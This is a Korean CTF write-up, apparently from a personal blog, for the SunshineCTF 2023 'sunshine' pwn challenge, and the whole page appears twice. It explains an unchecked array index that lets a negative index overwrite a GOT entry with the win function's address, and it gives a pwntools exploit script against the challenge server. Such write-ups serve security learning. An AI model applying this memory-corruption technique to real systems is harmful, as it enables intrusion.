목차

from pwn import *
#p = process('./sunshine')
p = remote('chal.2023.sunshinectf.games', 23003)
p.recvuntil(b'>>> ')
p.sendline(b'-9')
p.recvuntil(b'>>>')
p.sendline(p64(0x40128f))
p.interactive()
p.close()

sunshine 파일을 실행시키면 요래요래 실행이 된다.

해당 문제에선 배열에 오렌지 , 사과, 배 , 바나나가 저장이 되어있고, 인덱스에 번호를 입력해서 해당 부분의 값을 바꿀 수 있는 문제이다. 하지만 여기서 인덱스 값이 초과로 입력되도, 해당 부분에 값을 바꿀 수 있다.

따라서 fruits 배열의 위치를 보면0x405080에 존재한다. exit의 got 부분에 win(플레그 출력 함수) 함수의 주소를 넘기면 되지 않을까? 하고 했지만
하지만 난 바보였다. 한번도 사용되지 않은 got에 씌우면 무슨 의미가 있나.

0x405038에 씌워보자 ㅎ
익스플로잇
from pwn import *
#p = process('./sunshine')
p = remote('chal.2023.sunshinectf.games', 23003)
p.recvuntil(b'>>> ')
p.sendline(b'-9')
p.recvuntil(b'>>>')
p.sendline(p64(0x40128f))
p.interactive()
p.close()

해결~
'시스템해킹' 카테고리의 다른 글
드림핵 off_by_one_000 writeup (0) | 2023.11.02 |
---|---|
SSTF bof101 writeup (1) | 2023.11.02 |
dreamhack 쉘코드 강의 정리(1) (1) | 2023.10.05 |
pwnable.kr flag writeup (0) | 2023.10.05 |
어셈블리에서의 프롤로그 (0) | 2023.10.05 |

from pwn import *
#p = process('./sunshine')
p = remote('chal.2023.sunshinectf.games', 23003)
p.recvuntil(b'>>> ')
p.sendline(b'-9')
p.recvuntil(b'>>>')
p.sendline(p64(0x40128f))
p.interactive()
p.close()

sunshine 파일을 실행시키면 요래요래 실행이 된다.

해당 문제에선 배열에 오렌지 , 사과, 배 , 바나나가 저장이 되어있고, 인덱스에 번호를 입력해서 해당 부분의 값을 바꿀 수 있는 문제이다. 하지만 여기서 인덱스 값이 초과로 입력되도, 해당 부분에 값을 바꿀 수 있다.

따라서 fruits 배열의 위치를 보면0x405080에 존재한다. exit의 got 부분에 win(플레그 출력 함수) 함수의 주소를 넘기면 되지 않을까? 하고 했지만
하지만 난 바보였다. 한번도 사용되지 않은 got에 씌우면 무슨 의미가 있나.

0x405038에 씌워보자 ㅎ
익스플로잇
from pwn import *
#p = process('./sunshine')
p = remote('chal.2023.sunshinectf.games', 23003)
p.recvuntil(b'>>> ')
p.sendline(b'-9')
p.recvuntil(b'>>>')
p.sendline(p64(0x40128f))
p.interactive()
p.close()

해결~
'시스템해킹' 카테고리의 다른 글
드림핵 off_by_one_000 writeup (0) | 2023.11.02 |
---|---|
SSTF bof101 writeup (1) | 2023.11.02 |
dreamhack 쉘코드 강의 정리(1) (1) | 2023.10.05 |
pwnable.kr flag writeup (0) | 2023.10.05 |
어셈블리에서의 프롤로그 (0) | 2023.10.05 |